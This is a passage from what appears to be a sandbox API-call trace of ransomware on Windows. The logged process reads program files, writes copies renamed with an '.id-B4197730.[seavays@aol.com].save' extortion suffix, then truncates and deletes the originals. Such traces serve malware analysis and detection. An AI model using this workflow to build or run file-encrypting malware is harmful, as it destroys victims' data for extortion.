GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.311] lstrlenW (lpString=".doc") returned 4 [0207.311] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.311] lstrlenW (lpString=".docx") returned 5 [0207.311] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0207.311] lstrlenW (lpString=".pdf") returned 4 [0207.311] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.311] lstrlenW (lpString=".xls") returned 4 [0207.312] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.312] lstrlenW (lpString=".xlsx") returned 5 [0207.312] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0207.312] lstrlenW (lpString=".ppt") returned 4 [0207.312] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.312] lstrlenW (lpString=".zip") returned 4 [0207.312] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.312] lstrlenW (lpString=".rar") returned 4 [0207.312] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.312] lstrlenW (lpString=".bz2") returned 4 [0207.312] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.312] lstrlenW (lpString=".7z") returned 3 [0207.312] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.312] lstrlenW (lpString=".dbf") returned 4 [0207.312] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.312] lstrlenW (lpString=".1cd") returned 4 [0207.312] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.312] lstrlenW (lpString=".jpg") returned 4 [0207.312] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.313] lstrlenW (lpString=".doc") returned 4 [0207.313] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.313] lstrlenW (lpString=".docx") returned 5 [0207.313] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0207.313] lstrlenW (lpString=".pdf") returned 4 [0207.313] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.313] lstrlenW (lpString=".xls") returned 4 [0207.313] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.313] lstrlenW (lpString=".xlsx") returned 5 [0207.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0207.313] lstrlenW (lpString=".ppt") returned 4 [0207.313] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.313] lstrlenW (lpString=".zip") returned 4 [0207.313] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.313] lstrlenW (lpString=".rar") returned 4 [0207.313] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.313] lstrlenW (lpString=".bz2") returned 4 [0207.313] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.313] lstrlenW (lpString=".7z") returned 3 [0207.314] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.314] lstrlenW (lpString=".dbf") returned 4 [0207.314] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.314] lstrlenW (lpString=".1cd") returned 4 [0207.314] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0207.314] lstrlenW (lpString=".jpg") returned 4 [0207.314] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.314] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0207.314] lstrlenW (lpString="wab32res.dll") returned 12 [0207.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.315] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=964096) returned 1 [0207.316] CloseHandle (hObject=0x33c) returned 1 [0207.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0207.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.316] lstrlenW (lpString=".doc") returned 4 [0207.316] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.316] lstrlenW (lpString=".docx") returned 5 [0207.316] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0207.316] lstrlenW (lpString=".pdf") returned 4 [0207.316] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.316] lstrlenW (lpString=".xls") returned 4 [0207.316] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.316] lstrlenW (lpString=".xlsx") returned 5 [0207.316] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0207.316] lstrlenW (lpString=".ppt") returned 4 [0207.316] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.317] lstrlenW (lpString=".zip") returned 4 [0207.317] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.317] lstrlenW (lpString=".rar") returned 4 [0207.317] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.317] lstrlenW (lpString=".bz2") returned 4 [0207.317] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.317] lstrlenW (lpString=".7z") returned 3 [0207.317] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.317] lstrlenW (lpString=".dbf") returned 4 [0207.317] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.317] lstrlenW (lpString=".1cd") returned 4 [0207.317] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.317] lstrlenW (lpString=".jpg") returned 4 [0207.317] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.317] lstrlenW (lpString=".doc") returned 4 [0207.317] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.317] lstrlenW (lpString=".docx") returned 5 [0207.317] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0207.317] lstrlenW (lpString=".pdf") returned 4 [0207.317] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.318] lstrlenW (lpString=".xls") returned 4 [0207.318] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.318] lstrlenW (lpString=".xlsx") returned 5 [0207.318] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0207.318] lstrlenW (lpString=".ppt") returned 4 [0207.318] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.318] lstrlenW (lpString=".zip") returned 4 [0207.318] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.318] lstrlenW (lpString=".rar") returned 4 [0207.318] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.318] lstrlenW (lpString=".bz2") returned 4 [0207.318] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.318] lstrlenW (lpString=".7z") returned 3 [0207.318] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.318] lstrlenW (lpString=".dbf") returned 4 [0207.318] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.318] lstrlenW (lpString=".1cd") returned 4 [0207.318] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0207.318] lstrlenW (lpString=".jpg") returned 4 [0207.318] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.319] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0207.319] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0207.319] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe" (normalized: "c:\\program files\\internet explorer\\determine keyboard rebecca.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.320] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=75776) returned 1 [0207.320] CloseHandle (hObject=0x33c) returned 1 [0207.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe" (normalized: "c:\\program files\\internet explorer\\determine keyboard rebecca.exe")) returned 0x20 [0207.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\internet explorer\\determine keyboard rebecca.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.320] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe" (normalized: "c:\\program files\\internet explorer\\determine keyboard rebecca.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.320] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0207.320] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0207.320] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\internet explorer\\determine keyboard rebecca.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0207.321] GetLastError () returned 0x0 [0207.321] ReadFile (in: hFile=0x33c, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x12800, lpOverlapped=0x0) returned 1 [0207.728] WriteFile (in: hFile=0x35c, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x12810, lpOverlapped=0x0) returned 1 [0207.737] ReadFile (in: hFile=0x33c, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0207.737] WriteFile (in: hFile=0x35c, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x110, lpOverlapped=0x0) returned 1 [0207.737] SetEndOfFile (hFile=0x35c) returned 1 [0207.738] CloseHandle (hObject=0x35c) returned 1 [0207.738] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0207.738] SetEndOfFile (hFile=0x33c) returned 1 [0207.739] CloseHandle (hObject=0x33c) returned 1 [0207.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0207.740] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe" (normalized: "c:\\program files\\internet explorer\\determine keyboard rebecca.exe")) returned 1 [0207.740] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.740] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.740] lstrlenW (lpString=".doc") returned 4 [0207.740] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0207.740] lstrlenW (lpString=".docx") returned 5 [0207.740] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0207.740] lstrlenW (lpString=".pdf") returned 4 [0207.740] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0207.740] lstrlenW (lpString=".xls") returned 4 [0207.740] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0207.740] lstrlenW (lpString=".xlsx") returned 5 [0207.740] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0207.740] lstrlenW (lpString=".ppt") returned 4 [0207.741] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0207.741] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.741] lstrlenW (lpString=".zip") returned 4 [0207.741] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0207.741] lstrlenW (lpString=".rar") returned 4 [0207.741] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0207.741] lstrlenW (lpString=".bz2") returned 4 [0207.741] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0207.741] lstrlenW (lpString=".7z") returned 3 [0207.741] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0207.741] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.741] lstrlenW (lpString=".dbf") returned 4 [0207.741] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0207.741] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.741] lstrlenW (lpString=".1cd") returned 4 [0207.741] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0207.741] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.741] lstrlenW (lpString=".jpg") returned 4 [0207.741] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0207.741] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.741] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.741] lstrlenW (lpString=".doc") returned 4 [0207.741] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0207.741] lstrlenW (lpString=".docx") returned 5 [0207.741] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0207.741] lstrlenW (lpString=".pdf") returned 4 [0207.741] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0207.742] lstrlenW (lpString=".xls") returned 4 [0207.742] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0207.742] lstrlenW (lpString=".xlsx") returned 5 [0207.742] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0207.742] lstrlenW (lpString=".ppt") returned 4 [0207.742] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0207.742] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.742] lstrlenW (lpString=".zip") returned 4 [0207.742] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0207.742] lstrlenW (lpString=".rar") returned 4 [0207.742] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0207.742] lstrlenW (lpString=".bz2") returned 4 [0207.742] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0207.742] lstrlenW (lpString=".7z") returned 3 [0207.742] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0207.742] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.742] lstrlenW (lpString=".dbf") returned 4 [0207.742] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0207.742] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.742] lstrlenW (lpString=".1cd") returned 4 [0207.742] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0207.742] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\determine keyboard rebecca.exe") returned 65 [0207.742] lstrlenW (lpString=".jpg") returned 4 [0207.742] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0207.743] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0207.743] lstrlenW (lpString="ssvagent.exe") returned 12 [0207.743] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.743] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=70208) returned 1 [0207.743] CloseHandle (hObject=0x33c) returned 1 [0207.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0207.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.744] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.744] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0207.744] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0207.744] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0207.745] GetLastError () returned 0x0 [0207.745] ReadFile (in: hFile=0x33c, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x11240, lpOverlapped=0x0) returned 1 [0208.248] WriteFile (in: hFile=0x35c, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x11250, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x11250, lpOverlapped=0x0) returned 1 [0208.251] ReadFile (in: hFile=0x33c, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0208.252] WriteFile (in: hFile=0x35c, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xec, lpOverlapped=0x0) returned 1 [0208.252] SetEndOfFile (hFile=0x35c) returned 1 [0208.252] CloseHandle (hObject=0x35c) returned 1 [0208.252] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0208.252] SetEndOfFile (hFile=0x33c) returned 1 [0208.254] CloseHandle (hObject=0x33c) returned 1 [0208.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0208.254] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 1 [0208.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.254] lstrlenW (lpString=".doc") returned 4 [0208.255] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0208.255] lstrlenW (lpString=".docx") returned 5 [0208.255] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0208.255] lstrlenW (lpString=".pdf") returned 4 [0208.255] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0208.255] lstrlenW (lpString=".xls") returned 4 [0208.255] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0208.255] lstrlenW (lpString=".xlsx") returned 5 [0208.255] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0208.255] lstrlenW (lpString=".ppt") returned 4 [0208.255] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0208.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.255] lstrlenW (lpString=".zip") returned 4 [0208.255] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0208.255] lstrlenW (lpString=".rar") returned 4 [0208.255] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0208.255] lstrlenW (lpString=".bz2") returned 4 [0208.255] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0208.255] lstrlenW (lpString=".7z") returned 3 [0208.255] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0208.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.255] lstrlenW (lpString=".dbf") returned 4 [0208.255] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0208.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.255] lstrlenW (lpString=".1cd") returned 4 [0208.255] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0208.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.255] lstrlenW (lpString=".jpg") returned 4 [0208.255] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0208.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.256] lstrlenW (lpString=".doc") returned 4 [0208.256] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0208.256] lstrlenW (lpString=".docx") returned 5 [0208.256] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0208.256] lstrlenW (lpString=".pdf") returned 4 [0208.256] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0208.256] lstrlenW (lpString=".xls") returned 4 [0208.256] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0208.256] lstrlenW (lpString=".xlsx") returned 5 [0208.256] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0208.256] lstrlenW (lpString=".ppt") returned 4 [0208.256] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0208.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.256] lstrlenW (lpString=".zip") returned 4 [0208.256] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0208.256] lstrlenW (lpString=".rar") returned 4 [0208.256] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0208.256] lstrlenW (lpString=".bz2") returned 4 [0208.256] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0208.256] lstrlenW (lpString=".7z") returned 3 [0208.256] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0208.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.256] lstrlenW (lpString=".dbf") returned 4 [0208.256] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0208.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.256] lstrlenW (lpString=".1cd") returned 4 [0208.256] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0208.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0208.256] lstrlenW (lpString=".jpg") returned 4 [0208.257] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0208.257] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0208.257] lstrlenW (lpString="t2k.dll") returned 7 [0208.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 